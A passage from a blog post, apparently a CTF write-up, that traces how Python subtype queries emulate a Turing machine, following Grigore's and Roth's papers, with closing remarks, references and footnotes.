&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QLW_s46&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Boy, work as a subtype checker seems like slave labour.&lt;/p&gt;
&lt;p&gt;Notice that we seem to have... doubled-back? Let&#39;s do a quick comparison.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Initial query.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QRW_s46&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Midway.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QLW_s46&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Indeed, the query has made one pass over the tape. Also notice how:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;QRW_s46&lt;/code&gt; changes to &lt;code&gt;QLW_s46&lt;/code&gt;. (Direction swapped!)&lt;/li&gt;
&lt;li&gt;The chain of tokens is reversed: &lt;code&gt;L___TAPE_END__&lt;/code&gt;, &lt;code&gt;L_s&lt;/code&gt;, &lt;code&gt;MR&lt;/code&gt; becomes &lt;code&gt;MR&lt;/code&gt;, &lt;code&gt;L_s&lt;/code&gt;, &lt;code&gt;L___TAPE_END__&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is one shortcoming of Grigore&#39;s encoding of a subtyping machine: it makes a pass over the &lt;em&gt;entire tape&lt;/em&gt; before processing a single state on the Turing Machine. This drastically increases the runtime of the machine.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Let&#39;s continue...&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; QLR_s46&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QRW_s46&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; L_s&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QR_s46&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QRW_s71&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_x&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QRW_s71&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_x&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Oh look! We&#39;ve arrived back at &lt;code&gt;QRW_s71&lt;/code&gt;! Time for another quick comparison:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# QRW_s71 query (original).&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QRW_s71&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# QRW_s71 query (deduced from QRW_s46).&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; QRW_s71&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L___TAPE_END__&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;MR&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;L_x&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;N&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;E&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;Z&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Looks like &lt;code&gt;L___TAPE_END__&lt;/code&gt; is replaced with a &lt;code&gt;L_x&lt;/code&gt;. Eh, still resolves to &lt;code&gt;E[E[Z]]&lt;/code&gt; though, so we&#39;re fine. ¯&#92;_(ツ)_/¯&lt;/p&gt;
&lt;p&gt;This was a rather informal attempt at induction, but hopefully it provides some insight on how the subtype query is resolved recursively.&lt;/p&gt;
&lt;h2 id=&quot;closing-remarks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#closing-remarks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Closing Remarks&lt;/h2&gt;
&lt;p&gt;Overall, this is a remarkable CTF challenge. When opening the files, I was pleasantly surprised, because it&#39;s so rare to see type-theoretic challenges.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fn6&quot; id=&quot;fnref6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt; (In fact, this was the first type-theoretic chal I&#39;ve ever seen!)&lt;/p&gt;
&lt;p&gt;I still feel like we cheated the challenge by not going the painstaking, masochistic route of pathfinding the subtype tree. I guess that method would prove more effective if there were more red-herrings (e.g. misleading class inheritances).&lt;/p&gt;
&lt;p&gt;But overall, an intellectually challenging reverse challenge!&lt;/p&gt;
&lt;h2 id=&quot;references&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#references&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://drops.dagstuhl.de/opus/volltexte/2023/18237/pdf/LIPIcs-ECOOP-2023-44.pdf&quot;&gt;Roth, Ori. 2023. &lt;em&gt;Python Type Hints Are Turing Complete&lt;/em&gt;.&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;Good for intuition + explanation of concepts.&lt;/li&gt;
&lt;li&gt;Builds upon Grigore&#39;s paper and presents an optimised subtyping machine.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://arxiv.org/pdf/1605.05274.pdf&quot;&gt;Grigore, Radu. 2016. &lt;em&gt;Java Generics are Turing Complete&lt;/em&gt;.&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;The implementation of the CTF challenge was based on this paper.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;N.B. Grigore&#39;s and Roth&#39;s paper use a different notation ($&#92;blacktriangleleft$ / $&#92;blacktriangleright$) for subtype queries, but I opted to use $&amp;lt;:^?$ / $:&amp;gt;^?$ instead. &lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;You may be wondering how the heck is contravariance useful. Well, it&#39;s immensely useful for functions and &lt;a href=&quot;https://docs.scala-lang.org/tour/variances.html#contravariance&quot;&gt;serialisers&lt;/a&gt;. &lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;In the paper, they use &lt;strong&gt;Var&lt;/strong&gt; instead of &lt;strong&gt;Cancel&lt;/strong&gt;, but I think the latter conveys the operation better. &lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Blatantly taken from Roth&#39;s paper. &lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn5&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;&lt;a href=&quot;https://drops.dagstuhl.de/opus/volltexte/2023/18237/pdf/LIPIcs-ECOOP-2023-44.pdf&quot;&gt;Roth, Ori. 2023. &lt;em&gt;Python Type Hints Are Turing Complete&lt;/em&gt;.&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fnref5&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fnref5:1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fnref5:2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fnref5:3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn6&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;I was also slightly disappointed when it turns out the solution was rather straightforward. But eh, it was fun reading the paper. :D &lt;a href=&quot;https://trebledj.me/posts/subtype-metaprogramming-is-mostly-harmless/#fnref6&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
